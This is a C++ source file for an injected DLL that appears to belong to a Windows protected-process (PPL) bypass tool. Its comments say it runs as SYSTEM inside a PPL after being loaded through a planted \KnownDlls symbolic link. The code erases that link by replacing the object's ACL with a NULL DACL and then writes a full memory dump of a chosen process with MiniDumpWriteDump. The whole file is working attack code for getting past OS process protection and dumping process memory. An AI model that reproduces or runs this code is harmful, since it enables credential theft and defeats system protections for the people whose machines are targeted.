#include "dllexploit.h"

void DoStuff()
{
    LPWSTR pwszDllName = NULL;
    BOOL bSuccess = FALSE;

    WCHAR wszEventName[MAX_PATH] = { 0 };
    HANDLE hEvent = NULL;

    //
    // 1. Parse the command line
    //
    //    Then, we can parse the command line to get the ID of the process to dump and the path of
    //    the target dump file.
    //
    ParseCommandLine();

    if (g_bDebug)
        LogToConsole(L"DEBUG mode enabled\n");

    if (g_bDebug)
        LogToConsole(L"PID=%d | File='%ws' | GUID='%ws'\n", g_dwProcessId, g_pwszDumpFilePath, g_pwszGuid);

    //
    // Signal first Event (DLL loaded)
    //
    StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DLL_LOADED", g_pwszGuid);
    if (hEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, wszEventName))
    {
        if (!SetEvent(hEvent))
            LogLastError(L"SetEvent");
        
        CloseHandle(hEvent);
    }
    else
        LogLastError(L"OpenEvent");

    if (g_bVerbose)
        LogToConsole(L"[*] DLL loaded.\n");
    
    //
    // 2. Do some cleanup
    //
    //    First things first, we need to delete the symbolic link that was created in \KnownDlls.
    //    As this code is executed as SYSTEM inside a PPL with the WindowsTCB protection level, it
    //    should not be a problem.
    //
    if (!GetCurrentDllFileName(&pwszDllName))
        goto end;

    if (!DeleteKnownDllEntry(pwszDllName))
        LogToConsole(L"[-] Failed to delete KnownDll entry '%ws'\n", pwszDllName);
    else
    {
        if (g_bVerbose)
            LogToConsole(L"[*] KnownDll entry '%ws' removed.\n", pwszDllName);
    }

    //
    // 3. Dump the memory of the target process
    //
    //    Finally, dump the memmory of the target process using MiniDumpWriteDump.
    //
    bSuccess = DumpProcessMemory(g_dwProcessId, g_pwszDumpFilePath);
    if (g_bVerbose)
        LogToConsole(L"%ws DumpProcessMemory: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE");

    if (bSuccess)
    {
        //
        // Signal second Event (dump success)
        //
        StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DUMP_SUCCESS", g_pwszGuid);
        if (hEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, wszEventName))
        {
            if (!SetEvent(hEvent))
                LogLastError(L"SetEvent");
            CloseHandle(hEvent);
        }
        else
            LogLastError(L"OpenEvent");
    }

end:
    if (pwszDllName)
        LocalFree(pwszDllName);
}

void LogToConsole(LPCWSTR pwszFormat, ...)
{
    //
    // The process in which we load this DLL does not have a console so we need to attach to the 
    // parent process' console. To do so, we can call AttachConsole with the special value 
    // ATTACH_PARENT_PROCESS. Then, we can get the STDOUT handle. This handle is stored will be 
    // stored as a global variable so we need to initialize it only once.
    //
    if (g_hConsoleOutput == NULL)
    {
        AttachConsole(ATTACH_PARENT_PROCESS);
        if (!(g_hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE)))
            return;
    }

    //
    // Prepare otuput string and use WriteConsole instead of wprintf. This way, we can directly use
    // the STDOUT handle we got previously.
    //
    DWORD dwOutputStringSize = 0;
    LPWSTR pwszOutputString = NULL;
    va_list va;
    size_t offset = 0;

    va_start(va, pwszFormat);

    if (g_bDebug)
        dwOutputStringSize += (DWORD)wcslen(L"[DEBUG] (DLL) ") * sizeof(WCHAR);
    else
        dwOutputStringSize += (DWORD)wcslen(L"(DLL) ") * sizeof(WCHAR);
    dwOutputStringSize += _vscwprintf(pwszFormat, va) * sizeof(WCHAR) + 2; // \0
    pwszOutputString = (LPWSTR)LocalAlloc(LPTR, dwOutputStringSize);

    if (pwszOutputString)
    {
        if (g_bDebug)
            StringCchPrintf(pwszOutputString, dwOutputStringSize, L"[DEBUG] (DLL) ");
        else
            StringCchPrintf(pwszOutputString, dwOutputStringSize, L"(DLL) ");

        if (SUCCEEDED(StringCbLength(pwszOutputString, dwOutputStringSize, &offset)))
        {
            StringCbVPrintf(&pwszOutputString[offset / sizeof(WCHAR)], dwOutputStringSize - offset, pwszFormat, va);

            WriteConsole(g_hConsoleOutput, pwszOutputString, (DWORD)wcslen(pwszOutputString), NULL, NULL);
        }

        LocalFree(pwszOutputString);
    }

    va_end(va);
}

void LogLastError(LPCWSTR pwszFunctionName)
{
    DWORD dwLastError = GetLastError();
    if (dwLastError != ERROR_SUCCESS)
        LogToConsole(L"Function '%ws' returned error code %d - %ws\n", pwszFunctionName, dwLastError, _com_error(HRESULT_FROM_WIN32(dwLastError)).ErrorMessage());
}

BOOL GetCurrentDllFileName(LPWSTR* ppwszDllName)
{
    WCHAR wszDllPath[MAX_PATH];
    LPWSTR pwszDllName = NULL;

    GetModuleFileName(g_hInstance, wszDllPath, MAX_PATH);
    if (GetLastError() == ERROR_SUCCESS)
    {
        pwszDllName = PathFindFileName(wszDllPath);
        *ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR));
        if (*ppwszDllName)
        {
            StringCchPrintf(*ppwszDllName, 64, L"%ws", pwszDllName);
            return TRUE;
        }
    }

    return FALSE;
}

BOOL DeleteKnownDllEntry(LPCWSTR pwszDllName)
{
    BOOL bReturnValue = FALSE;

    NTSTATUS status = 0;
    HANDLE hLink = NULL;
    LPWSTR pwszLinkPath = NULL;
    UNICODE_STRING name = { 0 };
    OBJECT_ATTRIBUTES oa = { 0 };

    SECURITY_DESCRIPTOR sd = { 0 };
    SECURITY_ATTRIBUTES sa = { 0 };

    //
    // Build the path of the symbolic link object to delete. The name of the DLL can be determined
    // at runtime by invoking 'GetCurrentDllFileName'. The final path will be something such as 
    // '\KnownDlls\DPAPI.dll'.
    //
    pwszLinkPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
    if (!pwszLinkPath)
        goto end;

    StringCchPrintf(pwszLinkPath, MAX_PATH, L"\\KnownDlls\\%ws", pwszDllName);

    if (g_bDebug)
        LogToConsole(L"Object to delete: %ws\n", pwszLinkPath);

    RtlInitUnicodeString(&name, pwszLinkPath);
    InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

    //
    // Here we want to call NtOpenSymbolicLinkObject with DELETE access because we want to delete
    // the link. Unfortunately, the inherited ACL does not grant us this right and we will thus 
    // get an "Access denied" error. What we can do though is open the symbolic link object with
    // WRITE_DAC access in order to change the ACL of the object.
    //
    status = NtOpenSymbolicLinkObject(&hLink, WRITE_DAC, &oa);
    SetLastError(RtlNtStatusToDosError(status));
    if (status != 0)
    {
        LogLastError(L"NtOpenSymbolicLinkObject");
        goto end;
    }

    if (g_bDebug)
        LogToConsole(L"NtOpenSymbolicLinkObject('%ws', WRITE_DAC) OK\n", pwszLinkPath);

    //
    // Prepare the Security Descriptor. Here we will just use a NULL DACL. This will give everyone
    // access to the object but that's not really an issue because we'll delete it right after.
    //
    InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
#pragma warning( suppress : 6248 ) // Disable warning as setting a NULL DACL is intentional here
    if (!SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE))
    {
        LogLastError(L"SetSecurityDescriptorDacl");
    }

    sa.nLength = sizeof(sa);
    sa.bInheritHandle = FALSE;
    sa.lpSecurityDescriptor = &sd;

    //
    // Apply the new Security Descriptor.
    //
    if (!SetKernelObjectSecurity(hLink, DACL_SECURITY_INFORMATION, &sd))
    {
        LogLastError(L"SetKernelObjectSecurity");
        goto end;
    }

    if (g_bDebug)
        LogToConsole(L"SetKernelObjectSecurity OK\n");

    //
    // At this point we can close the object handle because only the WRITE_DAC right is associated
    // to it. This handle will not allow us to delete the object.
    //
    status = NtClose(hLink);
    SetLastError(RtlNtStatusToDosError(status));
    if (status != 0)
    {
        LogLastError(L"NtClose");
        goto end;
    }

    if (g_bDebug)
        LogToConsole(L"NtClose OK\n");

    //
    // This time, we should be able to open the link object with DELETE access.
    //
    status = NtOpenSymbolicLinkObject(&hLink, DELETE, &oa);
    SetLastError(RtlNtStatusToDosError(status));
    if (status != 0)
    {
        LogLastError(L"NtOpenSymbolicLinkObject");
        goto end;
    }

    if (g_bDebug)
        LogToConsole(L"NtOpenSymbolicLinkObject('%ws', DELETE) OK\n", pwszLinkPath);

    //
    // Now, we can invoke NtMakeTemporaryObject to disable the "Permanent" flag of the object. When
    // an object does not have the "Permanent" flag enabled, it is automatically deleted when all 
    // its handles are closed.
    //
    status = NtMakeTemporaryObject(hLink);
    SetLastError(RtlNtStatusToDosError(status));
    if (status != 0)
    {
        LogLastError(L"NtMakeTemporaryObject");
        goto end;
    }

    if (g_bDebug)
        LogToConsole(L"NtMakeTemporaryObject OK\n");

    bReturnValue = status == STATUS_SUCCESS;

    //
    // We should be the only process to have an opened handle on this object. So, if we close it, 
    // the link should be automatically deleted.
    //

end:
    if (hLink)
        NtClose(hLink);
    if (pwszLinkPath)
        LocalFree(pwszLinkPath);

    return bReturnValue;
}

BOOL ParseCommandLine()
{
    LPWSTR pwszCommandLine = GetCommandLine();
    LPWSTR* argv = NULL;
    int argc = 0;
    int i = 0;

    argv = CommandLineToArgvW(pwszCommandLine, &argc);
    if (!argv)
        return FALSE;

    if (argc < 4)
        return FALSE;

    g_dwProcessId = wcstoul(argv[1], NULL, 10);
    g_pwszDumpFilePath = argv[2];
    g_pwszGuid = argv[3];

    if (argc > 4)
    {
        if (_wcsicmp(argv[4], L"-v") == 0)
            g_bVerbose = TRUE;
        else if (_wcsicmp(argv[4], L"-d") == 0)
        {
            g_bVerbose = TRUE;
            g_bDebug = TRUE;
        }
    }

    return TRUE;
}

BOOL DumpProcessMemory(DWORD dwProcessId, LPWSTR pwszDumpFilePath)
{
    BOOL bReturnValue = FALSE;

    BOOL bFileCreated = FALSE;
    HANDLE hFile = NULL;
    HANDLE hProcess = NULL;
    DWORD dwLastError = 0;

    hFile = CreateFile(pwszDumpFilePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        LogLastError(L"CreateFile");
        goto end;
    }

    if (g_bDebug)
        LogToConsole(L"CreateFile('%ws') OK\n", pwszDumpFilePath);

    bFileCreated = TRUE;

    //
    // The process handle used by MiniDumpWriteDump requires only the flags PROCESS_VM_READ and
    // PROCESS_QUERY_INFORMATION.
    //
    if (!(hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessId)))
    {
        LogLastError(L"OpenProcess");
        goto end;
    }

    if (g_bDebug)
        LogToConsole(L"OpenProcess(%d) OK\n", dwProcessId);

    if (!(bReturnValue = MiniDumpWriteDump(hProcess, dwProcessId, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL)))
    {
        //
        // MiniDumpWriteDump sets the Last Error as a HRESULT, not a standard Win32 code... :/
        //
        dwLastError = GetLastError();
        LogToConsole(L"[-] MiniDumpWriteDump failed with error code 0x%08x (%ws)\n", dwLastError, _com_error(dwLastError).ErrorMessage());
        goto end;
    }

    bReturnValue = TRUE;

end:
    if (hFile && hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    if (hProcess)
        CloseHandle(hProcess);
    if (!bReturnValue && bFileCreated)
        DeleteFile(pwszDumpFilePath); // If the dump failed, delete the file

    return bReturnValue;
}